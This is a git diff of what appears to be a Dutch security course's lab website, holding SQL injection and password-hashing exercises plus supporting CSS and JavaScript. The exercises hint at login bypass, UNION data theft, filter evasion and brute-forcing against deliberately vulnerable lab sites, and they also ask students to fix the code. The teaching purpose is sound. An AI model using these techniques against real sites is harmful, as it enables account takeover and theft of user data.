|
haar rekening hacken met behulp van SQL.</p> |
||||||
|
|
||||||
|
<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link |
||||||
|
<span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint 3:</strong> Bekijk de broncode achter de site: |
||||||
|
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51</a> |
||||||
|
De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query |
||||||
|
zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p> |
||||||
|
|
||||||
|
<img src="/static/img/poespas.png" style="width: 70%" class="center-block screenshot"> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen |
||||||
|
het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND, |
||||||
|
OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker.</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Bekijk de |
||||||
|
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op.</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p>Open de |
||||||
|
<span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries |
||||||
|
(queries gescheiden door een ; ).</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Met welke |
||||||
|
<i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<img src="/static/img/bank_schema.png"> |
||||||
|
|
||||||
|
<h2>Webshop</h2> |
||||||
|
|
||||||
|
<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de |
||||||
|
webshop van Leaky's. Gebruik hiervoor de link |
||||||
|
<span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p> |
||||||
|
|
||||||
|
<p>Je kan de broncode vinden op: |
||||||
|
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62</a> |
||||||
|
</p> |
||||||
|
|
||||||
|
<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare |
||||||
|
quotejes om de query aan te passen.</p> |
||||||
|
|
||||||
|
<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p> |
||||||
|
|
||||||
|
<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit |
||||||
|
de database!</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen. |
||||||
|
</p> |
||||||
|
|
||||||
|
<img src="/static/img/webshop_schema.png"> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en |
||||||
|
4) |
||||||
|
</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Bekijk de |
||||||
|
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p>Open de pagina |
||||||
|
<span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit |
||||||
|
de invoer gefilterd.</p> |
||||||
|
|
||||||
|
<p class="hint"> |
||||||
|
<strong>Hint:</strong> SELSELECTECT</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<h2>Wereldwijs</h2> |
||||||
|
|
||||||
|
<p>Ga in de VM naar de |
||||||
|
<span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft |
||||||
|
een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p> |
||||||
|
|
||||||
|
<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p> |
@ -0,0 +1,85 @@ |
|||||||
|
.url { |
||||||
|
color: #000088; |
||||||
|
font-family: Courier; |
||||||
|
} |
||||||
|
figcaption { |
||||||
|
text-align: center; |
||||||
|
} |
||||||
|
|
||||||
|
figure img { |
||||||
|
margin-left: auto; |
||||||
|
margin-right: auto; |
||||||
|
} |
||||||
|
|
||||||
|
@media (min-width: 767px) { |
||||||
|
#menu { |
||||||
|
position: fixed; |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
#difficulty { |
||||||
|
width: 150px; |
||||||
|
} |
||||||
|
|
||||||
|
.screenshot { |
||||||
|
box-shadow: 0 0 10px #888; |
||||||
|
border: 1px solid #aaa; |
||||||
|
border-radius: 7px; |
||||||
|
} |
||||||
|
|
||||||
|
body { |
||||||
|
background-color: #e8eef7; |
||||||
|
padding: 2em; |
||||||
|
} |
||||||
|
|
||||||
|
#quiz { |
||||||
|
padding: 1em; |
||||||
|
background-color: white; |
||||||
|
border: 1px solid #ccc; |
||||||
|
} |
||||||
|
|
||||||
|
.question { |
||||||
|
padding: 1em; |
||||||
|
margin: 2em; |
||||||
|
border-left: 3px solid darkorange; |
||||||
|
} |
||||||
|
|
||||||
|
.question-string { |
||||||
|
font-weight: bold; |
||||||
|
} |
||||||
|
|
||||||
|
.center-block { |
||||||
|
display: block; |
||||||
|
margin-left: auto; |
||||||
|
margin-right: auto; |
||||||
|
} |
||||||
|
|
||||||
|
textarea { |
||||||
|
width: 75%; |
||||||
|
height: 9em; |
||||||
|
} |
||||||
|
|
||||||
|
input { |
||||||
|
width: 75%; |
||||||
|
} |
||||||
|
|
||||||
|
code.terminal { |
||||||
|
background-color: black; |
||||||
|
color: white; |
||||||
|
font-family: Courier, monospace; |
||||||
|
padding: 1em; |
||||||
|
margin: 1em; |
||||||
|
display: block; |
||||||
|
white-space: normal; |
||||||
|
} |
||||||
|
|
||||||
|
.argument { |
||||||
|
font-family: Courier, monospace; |
||||||
|
font-weight: bold; |
||||||
|
} |
||||||
|
|
||||||
|
.website{ |
||||||
|
font-style: italic; |
||||||
|
font-variant: small-caps; |
||||||
|
color:dodgerblue; |
||||||
|
} |
@ -0,0 +1,2 @@ |
|||||||
|
U2FsdGVkX191ur0pmvNcmrnlem8L5S6NuQUEAurl+aSZzKQirnAfoDAf/QWYWwOx |
||||||
|
w4wCKOGIJ9jxFrAJwqJjaA== |
After Width: | Height: | Size: 81 KiB |
After Width: | Height: | Size: 136 KiB |
After Width: | Height: | Size: 69 KiB |
After Width: | Height: | Size: 66 KiB |
After Width: | Height: | Size: 55 KiB |
After Width: | Height: | Size: 65 KiB |
After Width: | Height: | Size: 31 KiB |
After Width: | Height: | Size: 46 KiB |
After Width: | Height: | Size: 66 KiB |
After Width: | Height: | Size: 27 KiB |
After Width: | Height: | Size: 128 KiB |
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 30 KiB |
After Width: | Height: | Size: 232 KiB |
After Width: | Height: | Size: 70 KiB |
After Width: | Height: | Size: 122 KiB |
After Width: | Height: | Size: 37 KiB |
After Width: | Height: | Size: 39 KiB |
After Width: | Height: | Size: 35 KiB |
After Width: | Height: | Size: 13 KiB |
After Width: | Height: | Size: 673 B |
After Width: | Height: | Size: 13 KiB |
After Width: | Height: | Size: 90 KiB |
After Width: | Height: | Size: 49 KiB |
After Width: | Height: | Size: 126 KiB |
After Width: | Height: | Size: 63 KiB |
After Width: | Height: | Size: 108 KiB |
After Width: | Height: | Size: 58 KiB |
After Width: | Height: | Size: 141 KiB |
After Width: | Height: | Size: 78 KiB |
After Width: | Height: | Size: 88 KiB |
After Width: | Height: | Size: 15 KiB |
After Width: | Height: | Size: 16 KiB |
After Width: | Height: | Size: 73 KiB |
After Width: | Height: | Size: 77 KiB |
After Width: | Height: | Size: 156 KiB |
After Width: | Height: | Size: 105 KiB |
After Width: | Height: | Size: 54 KiB |
After Width: | Height: | Size: 456 KiB |
After Width: | Height: | Size: 126 KiB |
After Width: | Height: | Size: 20 KiB |
After Width: | Height: | Size: 22 KiB |
After Width: | Height: | Size: 33 KiB |
After Width: | Height: | Size: 50 KiB |
After Width: | Height: | Size: 40 KiB |
After Width: | Height: | Size: 71 KiB |
After Width: | Height: | Size: 62 KiB |
After Width: | Height: | Size: 21 KiB |
After Width: | Height: | Size: 126 KiB |
After Width: | Height: | Size: 136 KiB |
After Width: | Height: | Size: 46 KiB |
After Width: | Height: | Size: 114 KiB |
After Width: | Height: | Size: 114 KiB |
After Width: | Height: | Size: 179 KiB |
@ -0,0 +1 @@ |
|||||||
|
"use strict";jQuery.base64=(function($){var _PADCHAR="=",_ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",_VERSION="1.0";function _getbyte64(s,i){var idx=_ALPHA.indexOf(s.charAt(i));if(idx===-1){throw"Cannot decode base64"}return idx}function _decode(s){var pads=0,i,b10,imax=s.length,x=[];s=String(s);if(imax===0){return s}if(imax%4!==0){throw"Cannot decode base64"}if(s.charAt(imax-1)===_PADCHAR){pads=1;if(s.charAt(imax-2)===_PADCHAR){pads=2}imax-=4}for(i=0;i<imax;i+=4){b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12)|(_getbyte64(s,i+2)<<6)|_getbyte64(s,i+3);x.push(String.fromCharCode(b10>>16,(b10>>8)&255,b10&255))}switch(pads){case 1:b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12)|(_getbyte64(s,i+2)<<6);x.push(String.fromCharCode(b10>>16,(b10>>8)&255));break;case 2:b10=(_getbyte64(s,i)<<18)|(_getbyte64(s,i+1)<<12);x.push(String.fromCharCode(b10>>16));break}return x.join("")}function _getbyte(s,i){var x=s.charCodeAt(i);if(x>255){throw"INVALID_CHARACTER_ERR: DOM Exception 5"}return x}function _encode(s){if(arguments.length!==1){throw"SyntaxError: exactly one argument required"}s=String(s);var i,b10,x=[],imax=s.length-s.length%3;if(s.length===0){return s}for(i=0;i<imax;i+=3){b10=(_getbyte(s,i)<<16)|(_getbyte(s,i+1)<<8)|_getbyte(s,i+2);x.push(_ALPHA.charAt(b10>>18));x.push(_ALPHA.charAt((b10>>12)&63));x.push(_ALPHA.charAt((b10>>6)&63));x.push(_ALPHA.charAt(b10&63))}switch(s.length-imax){case 1:b10=_getbyte(s,i)<<16;x.push(_ALPHA.charAt(b10>>18)+_ALPHA.charAt((b10>>12)&63)+_PADCHAR+_PADCHAR);break;case 2:b10=(_getbyte(s,i)<<16)|(_getbyte(s,i+1)<<8);x.push(_ALPHA.charAt(b10>>18)+_ALPHA.charAt((b10>>12)&63)+_ALPHA.charAt((b10>>6)&63)+_PADCHAR);break}return x.join("")}return{decode:_decode,encode:_encode,VERSION:_VERSION}}(jQuery)); |
@ -0,0 +1,69 @@ |
|||||||
|
$(function () { |
||||||
|
|
||||||
|
var changed = false; |
||||||
|
|
||||||
|
// Hints
|
||||||
|
$('.hint').replaceWith(function () { |
||||||
|
return '<div><a href="#" class="hintlink" onclick="$(this).next().slideToggle(); return false;">Bekijk hint</a>' + $(this).hide()[0].outerHTML + '</div>'; |
||||||
|
}); |
||||||
|
|
||||||
|
$('#difficulty').change(function (e) { |
||||||
|
var option = $(this).find(':selected').val(); |
||||||
|
|
||||||
|
|
||||||
|
$('.hintlink').toggle(option == 'normal'); |
||||||
|
$('.hint').toggle(option == 'easy'); |
||||||
|
|
||||||
|
|
||||||
|
window.localStorage.setItem('difficulty', option); |
||||||
|
}); |
||||||
|
|
||||||
|
// Set the selected property
|
||||||
|
if (window.localStorage['difficulty']) { |
||||||
|
var difficulty = window.localStorage['difficulty']; |
||||||
|
} else { |
||||||
|
var difficulty = 'normal'; |
||||||
|
} |
||||||
|
|
||||||
|
$('#difficulty option').filter(function () { |
||||||
|
return $(this).val() == difficulty; |
||||||
|
}).prop('selected', true); |
||||||
|
$('#difficulty').trigger('change'); |
||||||
|
|
||||||
|
function loadPage(page) { |
||||||
|
$('#quiz').load('/' + page + '.html?cachebuster=' + Math.random()); |
||||||
|
} |
||||||
|
|
||||||
|
function getPage(link) { |
||||||
|
if (link.lastIndexOf('?') === -1) { |
||||||
|
return ''; |
||||||
|
} |
||||||
|
return link.substring(link.lastIndexOf('?') + 1); |
||||||
|
} |
||||||
|
|
||||||
|
// Dynamically load pages
|
||||||
|
$('#menu a').click(function (e, element) { |
||||||
|
var page = getPage(e.target.href); |
||||||
|
|
||||||
|
window.history.pushState({ page: page }, 'Security', e.target.href); |
||||||
|
loadPage(page); |
||||||
|
e.preventDefault(); |
||||||
|
}); |
||||||
|
|
||||||
|
window.onpopstate = function (event) { |
||||||
|
if (event.state) { |
||||||
|
loadPage(event.state.page); |
||||||
|
} else { |
||||||
|
window.location.href = '/'; |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
// Load page
|
||||||
|
var page = getPage(window.location.href); |
||||||
|
if (page !== '') { |
||||||
|
loadPage(page); |
||||||
|
} else { |
||||||
|
loadPage('sql'); |
||||||
|
} |
||||||
|
|
||||||
|
}); |
@ -0,0 +1,17 @@ |
|||||||
|
-----BEGIN PGP MESSAGE----- |
||||||
|
|
||||||
|
owEBXgKh/ZANAwACAdVV8vX6nhxaAawuYglwbGFpbi50eHRVdLQaVGhlIE5hcndo |
||||||
|
YWwgQmFjb25zIGF0IE1pZG5pZ2h0CokCHAQAAQIABgUCVXS0GgAKCRDVVfL1+p4c |
||||||
|
Wl31EACZ0itLnfLQrkFYGEa8DxgG6O101oc350JekBI7mIm1x556M3dIkyDTSqPd |
||||||
|
1gY+5wE3iklSnqPAfRSskclQ5SahK7mIjRw8NoCpWGRdFT/2u15lZofqGMV23T1R |
||||||
|
hEuxxNlZwcWEWDg2Ixx6OqE836Qm+ITaS12ok5qDZFxj4hd4C7uinAv5CWKIyvwl |
||||||
|
l5ZwwWB4p+NT6JxY6p5Pw0J5xPVCE+pAFesPUwAYydQ5CabgdfRyjc6iMQz+GRFD |
||||||
|
Qs7kWuZ2JKPWm+2h0UQa38Id66fd4l38x16+rerIEG8XTMlfiXgtCPT9Rkdxb8lD |
||||||
|
bZQJefupCPP/EAQnZOPzHFbZ32PaOnp0DTLi641W24rb0hwD2LPHIRh+KPWfwaVl |
||||||
|
+1BSEGE3STDjN0CGaTE1KDM5p5TEhML4/LwRucdp+y8c3f1gyWNd8ChnA9aCFr5w |
||||||
|
h4FIpE1gAd6XANkVGCIHlZ0Lzxu022zjNFPW2sQeFJy1ZEqBAAwaOlnceztTyx6c |
||||||
|
J+TNey4lYy2F4hVn/QxYF5kMUIEw22y4tMmwX4tOVkgg5I0X+mf2Csosbfz7Xsn3 |
||||||
|
0i4utcTqwmVov3obPQj1QprBeSMXoYSJMyUCO7eIE9eqeGy0uMO6xkG3Z2QGsZNS |
||||||
|
aAzu9msSLIc5cQWx9Pva9pafC/sFIyJWudBlf8UEkeIFSll9FQ== |
||||||
|
=h6Mi |
||||||
|
-----END PGP MESSAGE----- |
@ -0,0 +1,389 @@ |
|||||||
|
<h1>Wachtwoorden</h1> |
||||||
|
|
||||||
|
<img src="/static/img/password.png" class="center-block"> |
||||||
|
|
||||||
|
<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben al gezien dat het niet onmogelijk |
||||||
|
is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden |
||||||
|
zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is |
||||||
|
er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te |
||||||
|
<b>hashen</b>.</p> |
||||||
|
|
||||||
|
<h3>Hashfunctie</h3> |
||||||
|
|
||||||
|
<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige |
||||||
|
uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p> |
||||||
|
|
||||||
|
<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;"> > md5 > |
||||||
|
<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly=""> |
||||||
|
|
||||||
|
<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar |
||||||
|
ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen |
||||||
|
wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk |
||||||
|
dat eigenlijk de enige 'praktische' optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op |
||||||
|
dezelfde hash (brute-force).</p> |
||||||
|
|
||||||
|
<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker |
||||||
|
inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij |
||||||
|
hetzelfde wachtwoord ingevuld!</p> |
||||||
|
|
||||||
|
<h3>Rainbow tables</h3> |
||||||
|
|
||||||
|
<p>Zo moeilijk als het is om een hash terug te |
||||||
|
<i>rekenen</i>, zo makkelijk is het om een hash terug |
||||||
|
<i> |
||||||
|
<a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a> |
||||||
|
</i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend |
||||||
|
en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel |
||||||
|
als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze |
||||||
|
aanval:</p> |
||||||
|
|
||||||
|
<h3>Salt</h3> |
||||||
|
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken |
||||||
|
voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat |
||||||
|
zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet |
||||||
|
al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p> |
||||||
|
|
||||||
|
<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%"> |
||||||
|
|
||||||
|
<h1>Opdrachten</h1> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had |
||||||
|
deze gebruiker?</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<h2>Nieuws</h2> |
||||||
|
<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden |
||||||
|
gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de |
||||||
|
tabel inzien.</p> |
||||||
|
|
||||||
|
<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers |
||||||
|
een veelgebruikt wachtwoord.</p> |
||||||
|
|
||||||
|
<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p> |
||||||
|
|
||||||
|
<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p> |
||||||
|
|
||||||
|
<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Wat is het wachtwoord van Pete?</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier |
||||||
|
op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de |
||||||
|
site wordt feestelijk weer geopend.</p> |
||||||
|
|
||||||
|
<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een |
||||||
|
kort fragment van een logbestand terugvinden:</p> |
||||||
|
|
||||||
|
<code class="center-block"> |
||||||
|
...<br> |
||||||
|
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br> |
||||||
|
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br> |
||||||
|
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947G'<br> |
||||||
|
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947H'<br> |
||||||
|
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947I'<br> |
||||||
|
2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br> |
||||||
|
</code> |
||||||
|
|
||||||
|
<div class="question"> |
||||||
|
<span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval |
||||||
|
te voorkomen.</span> |
||||||
|
</div> |
||||||
|
|
||||||
|
<img src="/static/img/password2.jpg" class="center-block"> |
||||||
|
|
||||||
|
|
||||||
|
<script> |
||||||
|
function utf8_encode(argString) { |
||||||
|
// discuss at: http://phpjs.org/functions/utf8_encode/ |
||||||
|
// original by: Webtoolkit.info (http://www.webtoolkit.info/) |
||||||
|
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) |
||||||
|
// improved by: sowberry |
||||||
|
// improved by: Jack |
||||||
|
// improved by: Yves Sucaet |
||||||
|
// improved by: kirilloid |
||||||
|
// bugfixed by: Onno Marsman |
||||||
|
// bugfixed by: Onno Marsman |
||||||
|
// bugfixed by: Ulrich |
||||||
|
// bugfixed by: Rafal Kukawski |
||||||
|
// bugfixed by: kirilloid |
||||||
|
// example 1: utf8_encode('Kevin van Zonneveld'); |
||||||
|
// returns 1: 'Kevin van Zonneveld' |
||||||
|
|
||||||
|
if (argString === null || typeof argString === 'undefined') { |
||||||
|
return ''; |
||||||
|
} |
||||||
|
|
||||||
|
// .replace(/\r\n/g, "\n").replace(/\r/g, "\n"); |
||||||
|
var string = (argString + ''); |
||||||
|
var utftext = '', |
||||||
|
start, end, stringl = 0; |
||||||
|
|
||||||
|
start = end = 0; |
||||||
|
stringl = string.length; |
||||||
|
for (var n = 0; n < stringl; n++) { |
||||||
|
var c1 = string.charCodeAt(n); |
||||||
|
var enc = null; |
||||||
|
|
||||||
|
if (c1 < 128) { |
||||||
|
end++; |
||||||
|
} else if (c1 > 127 && c1 < 2048) { |
||||||
|
enc = String.fromCharCode( |
||||||
|
(c1 >> 6) | 192, (c1 & 63) | 128 |
||||||
|
); |
||||||
|
} else if ((c1 & 0xF800) != 0xD800) { |
||||||
|
enc = String.fromCharCode( |
||||||
|
(c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128 |
||||||
|
); |
||||||
|
} else { |
||||||
|
// surrogate pairs |
||||||
|
if ((c1 & 0xFC00) != 0xD800) { |
||||||
|
throw new RangeError('Unmatched trail surrogate at ' + n); |
||||||
|
} |
||||||
|
var c2 = string.charCodeAt(++n); |
||||||
|
if ((c2 & 0xFC00) != 0xDC00) { |
||||||
|
throw new RangeError('Unmatched lead surrogate at ' + (n - 1)); |
||||||
|
} |
||||||
|
c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000; |
||||||
|
enc = String.fromCharCode( |
||||||
|
(c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128 |
||||||
|
); |
||||||
|
} |
||||||
|
if (enc !== null) { |
||||||
|
if (end > start) { |
||||||
|
utftext += string.slice(start, end); |
||||||
|
} |
||||||
|
utftext += enc; |
||||||
|
start = end = n + 1; |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
if (end > start) { |
||||||
|
utftext += string.slice(start, stringl); |
||||||
|
} |
||||||
|
|
||||||
|
return utftext; |
||||||
|
} |
||||||
|
function md5(str) { |
||||||
|
// discuss at: http://phpjs.org/functions/md5/ |
||||||
|
// original by: Webtoolkit.info (http://www.webtoolkit.info/) |
||||||
|
// improved by: Michael White (http://getsprink.com) |
||||||
|
// improved by: Jack |
||||||
|
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) |
||||||
|
// input by: Brett Zamir (http://brett-zamir.me) |
||||||
|
// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) |
||||||
|
// depends on: utf8_encode |
||||||
|
// example 1: md5('Kevin van Zonneveld'); |
||||||
|
// returns 1: '6e658d4bfcb59cc13f96c14450ac40b9' |
||||||
|
|
||||||
|
var xl; |
||||||
|
|
||||||
|
var rotateLeft = function (lValue, iShiftBits) { |
||||||
|
return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits)); |
||||||
|
}; |
||||||
|
|
||||||
|
var addUnsigned = function (lX, lY) { |
||||||
|
var lX4, lY4, lX8, lY8, lResult; |
||||||
|
lX8 = (lX & 0x80000000); |
||||||
|
lY8 = (lY & 0x80000000); |
||||||
|
lX4 = (lX & 0x40000000); |
||||||
|
lY4 = (lY & 0x40000000); |
||||||
|
lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF); |
||||||
|
if (lX4 & lY4) { |
||||||
|
return (lResult ^ 0x80000000 ^ lX8 ^ lY8); |
||||||
|
} |
||||||
|
if (lX4 | lY4) { |
||||||
|
if (lResult & 0x40000000) { |
||||||
|
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8); |
||||||
|
} else { |
||||||
|
return (lResult ^ 0x40000000 ^ lX8 ^ lY8); |
||||||
|
} |
||||||
|
} else { |
||||||
|
return (lResult ^ lX8 ^ lY8); |
||||||
|
} |
||||||
|
}; |
||||||
|
|
||||||
|
var _F = function (x, y, z) { |
||||||
|
return (x & y) | ((~x) & z); |
||||||
|
}; |
||||||
|
var _G = function (x, y, z) { |
||||||
|
return (x & z) | (y & (~z)); |
||||||
|
}; |
||||||
|
var _H = function (x, y, z) { |
||||||
|
return (x ^ y ^ z); |
||||||
|
}; |
||||||
|
var _I = function (x, y, z) { |
||||||
|
return (y ^ (x | (~z))); |
||||||
|
}; |
||||||
|
|
||||||
|
var _FF = function (a, b, c, d, x, s, ac) { |
||||||
|
a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac)); |
||||||
|
return addUnsigned(rotateLeft(a, s), b); |
||||||
|
}; |
||||||
|
|
||||||
|
var _GG = function (a, b, c, d, x, s, ac) { |
||||||
|
a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac)); |
||||||
|
return addUnsigned(rotateLeft(a, s), b); |
||||||
|
}; |
||||||
|
|
||||||
|
var _HH = function (a, b, c, d, x, s, ac) { |
||||||
|
a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac)); |
||||||
|
return addUnsigned(rotateLeft(a, s), b); |
||||||
|
}; |
||||||
|
|
||||||
|
var _II = function (a, b, c, d, x, s, ac) { |
||||||
|
a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac)); |
||||||
|
return addUnsigned(rotateLeft(a, s), b); |
||||||
|
}; |
||||||
|
|
||||||
|
var convertToWordArray = function (str) { |
||||||
|
var lWordCount; |
||||||
|
